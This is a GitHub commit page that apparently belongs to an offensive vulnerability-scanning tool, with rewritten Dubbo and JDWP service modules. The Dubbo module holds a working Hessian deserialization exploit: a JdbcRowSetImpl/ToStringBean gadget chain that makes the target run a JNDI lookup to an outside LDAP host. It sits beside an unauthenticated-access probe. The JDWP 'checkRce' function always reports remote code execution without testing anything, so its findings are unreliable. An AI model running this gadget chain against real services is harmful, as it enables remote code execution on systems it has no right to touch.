-
Notifications
You must be signed in to change notification settings - Fork 33
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
update: about cms exploit
- Loading branch information
Showing
308 changed files
with
14,676 additions
and
13,978 deletions.
There are no files selected for viewing
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,4 +1,6 @@ | ||
|
||
# coding=utf-8 | ||
# @Author : zpchcbd HG team | ||
# @Time : 2021-09-06 22:14 | ||
|
||
class Crawl(object): | ||
pass | ||
pass |
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,27 +1,81 @@ | ||
# coding=utf-8 | ||
from async_timeout import timeout | ||
from colorama import Fore | ||
from tqdm import tqdm | ||
|
||
from exploit.service.base import * | ||
from dubbo.codec.hessian2 import Decoder, new_object | ||
from dubbo.client import DubboClient | ||
|
||
|
||
# dubbo反序列化漏洞 | ||
|
||
def dubboScan(ip, port): | ||
async def checkUnauth(addr): | ||
try: | ||
s = socket.socket() | ||
s.connect((str(_ip), 873)) | ||
s.send(b"@RSYNCD: 31\n") | ||
s.send(b'\n') | ||
time.sleep(0.5) | ||
result = s.recv(1024) | ||
if result: | ||
for path_name in re.split('\n', result.decode()): | ||
if path_name and not path_name.startswith('@RSYNCD: '): | ||
self.ipunauthlist.append({ | ||
'name': '未授权访问', | ||
'url': str(_ip), | ||
'组件': 'rsync' | ||
}) | ||
with timeout(5): | ||
reader, writer = await asyncio.open_connection(addr.split(':')[0], int(addr.split(':')[1])) | ||
writer.write(b'ls\r\n') | ||
data = str(await reader.read(1024)) | ||
writer.close() | ||
if 'com.alibaba.dubbo' in data and ("token=false" in data or "token=true" not in data): | ||
tqdm.write(Fore.RED + '[+] Target maybe support dobbo unauth, {}'.format(addr)) | ||
return {'name': 'unauth', 'url': addr, 'software': 'dubbo'} | ||
except: | ||
pass | ||
finally: | ||
s.close() | ||
try: | ||
writer.close() | ||
except NameError: | ||
pass | ||
|
||
|
||
# dubbo deserlize, not async, not async func | ||
async def checkDeserialization(addr): | ||
try: | ||
client = DubboClient(addr.split(':')[0], int(addr.split(':')[1])) | ||
|
||
JdbcRowSetImpl = new_object( | ||
'com.sun.rowset.JdbcRowSetImpl', | ||
dataSource='ldap://1.1.1.1', | ||
strMatchColumns=["foo"] | ||
) | ||
JdbcRowSetImplClass = new_object( | ||
'java.lang.Class', | ||
name="com.sun.rowset.JdbcRowSetImpl", | ||
) | ||
toStringBean = new_object( | ||
'com.rometools.rome.feed.impl.ToStringBean', | ||
beanClass=JdbcRowSetImplClass, | ||
obj=JdbcRowSetImpl | ||
) | ||
|
||
resp = client.send_request_and_return_response( | ||
service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService', | ||
# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。 | ||
method_name='$invoke', | ||
args=[toStringBean]) | ||
|
||
result = str(resp) | ||
if 'Fail to decode request due to: RpcInvocation' in result: | ||
tqdm.write(Fore.RED + '[+] Target maybe not support deserialization, {}'.format(addr)) | ||
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in result: | ||
tqdm.write(Fore.RED + '[+] Target support deserialization, {}'.format(addr)) | ||
return {'name': 'deserialization', 'url': addr, 'software': 'dubbo'} | ||
else: | ||
tqdm.write(Fore.RED + '[+] Target maybe support deserialization, {}'.format(addr)) | ||
return {'name': 'maybe deserialization', 'url': addr, 'software': 'dubbo'} | ||
except: | ||
pass | ||
|
||
|
||
async def dubboScan(addr, pbar): | ||
vulList = [] | ||
|
||
a = await checkUnauth(addr) | ||
b = await checkDeserialization(addr) | ||
|
||
if a is not None: | ||
vulList.append(a) | ||
if b is not None: | ||
vulList.append(b) | ||
# b = await checkWeakPass(addr) | ||
pbar.update(1) | ||
return vulList |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,26 +1,40 @@ | ||
# coding=utf-8 | ||
from async_timeout import timeout | ||
|
||
from exploit.service.base import * | ||
|
||
|
||
def jdwpScan(): | ||
# JDWP 命令执行 | ||
async def checkRce(addr): | ||
try: | ||
s = socket.socket() | ||
s.connect((str(_ip), 873)) | ||
s.send(b"@RSYNCD: 31\n") | ||
s.send(b'\n') | ||
time.sleep(0.5) | ||
result = s.recv(1024) | ||
if result: | ||
for path_name in re.split('\n', result.decode()): | ||
if path_name and not path_name.startswith('@RSYNCD: '): | ||
self.ipunauthlist.append({ | ||
'name': '未授权访问', | ||
'url': str(_ip), | ||
'组件': 'rsync' | ||
}) | ||
return {'name': 'rce', 'url': addr, 'software': 'jdwp'} | ||
# with timeout(5): | ||
# reader, writer = await asyncio.open_connection(addr.split(':')[0], int(addr.split(':')[1])) | ||
# writer.write(b'ls\r\n') | ||
# data = str(await reader.read(1024)) | ||
# writer.close() | ||
# if 'com.alibaba.dubbo' in data and ("token=false" in data or "token=true" not in data): | ||
# print('unauth dubbo') | ||
# return {'name': 'unauth', 'url': addr, 'software': 'dubbo'} | ||
except: | ||
pass | ||
finally: | ||
s.close() | ||
pass | ||
# try: | ||
# writer.close() | ||
# except NameError: | ||
# pass | ||
|
||
|
||
# byself | ||
async def jdwpScan(addr, pbar): | ||
vulList = [] | ||
a = await checkRce(addr) | ||
if a is not None: | ||
vulList.append(a) | ||
pbar.update(1) | ||
return vulList | ||
|
||
if __name__ == '__main__': | ||
pass | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.